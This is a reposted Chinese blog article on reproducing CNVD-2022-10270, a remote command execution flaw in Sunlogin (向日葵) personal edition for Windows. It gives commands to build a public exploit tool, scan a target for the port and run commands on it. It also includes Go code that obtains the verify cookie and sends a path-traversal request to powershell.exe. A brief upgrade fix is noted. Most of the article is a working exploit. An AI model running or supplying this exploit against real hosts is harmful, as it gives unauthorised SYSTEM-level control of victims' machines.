栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 系统运维 > 运维 > Linux

向日葵RCE利用测试

Linux 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

向日葵RCE利用测试

简介

CNVD-2022-10270的向日葵个人版for Windows存在命令执行漏洞通告。攻击者可以通过此漏洞在目标主机上以SYSTEM权限执行任意命令,从而获取服务器控制权。

复现

向日葵版本:11.0.0.33826

EXP

//EXP工具编译
git clone https://github.com/heyzm/sunlogin_rce_.git
cd sunlogin_rce_/
go build main.go

//扫描,得到端口49686
./main -h 192.168.6.6

//rce,目标主机D盘下将生成test.go文件
./main -c "echo 'hello world' >d:test.go" -h 192.168.6.6 -p 49686 -t rce
原理

通过cgi-bin/rpc?action=verify-haras获取cid解决认证问题

通过/check?cmd=ping…/…/…/…/…/…/…/…/…/windows/system32/WindowsPowerShell/v1.0/powershell.exe+构造rce

func GetVerify() string { //获取Verify认证
	client := resty.New().SetTimeout(3 * time.Second).SetTLSClientConfig(&tls.Config{InsecureSkipVerify: true}) //忽略https证书错误,设置超时时间
	resp, err := client.R().EnableTrace().Get("http://" + config.GetIp() + ":" + config.GetPort() + "/cgi-bin/rpc?action=verify-haras")
	if err != nil {
		//log.Println(err)
		return ""
	}
	str := resp.Body()
	body := string(str)
	verify := fmt.Sprintf("%s", gjson.Get(body, "verify_string"))
	return verify
}
func RunCmd(cmd string) string {
	client := resty.New().SetTimeout(3 * time.Second).SetTLSClientConfig(&tls.Config{InsecureSkipVerify: true}) //忽略https证书错误,设置超时时间
	//fmt.Printf(GetVerify())
	cmd = url.QueryEscape(cmd)
	client.Header.Set("cookie","CID="+GetVerify())
	resp, err := client.R().EnableTrace().Get("http://" + config.GetIp() + ":" + config.GetPort() + "/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+" + cmd)

	if err != nil {
		//log.Println(err)
		return ""
	}
	str := resp.Body()
	body := string(str)
	return body
}
修复

更新官网最新的[V 12.5.0.44227(2022.02)])版本

参考

https://ckcsec.cn/posts/5047f5b7/

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/740221.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号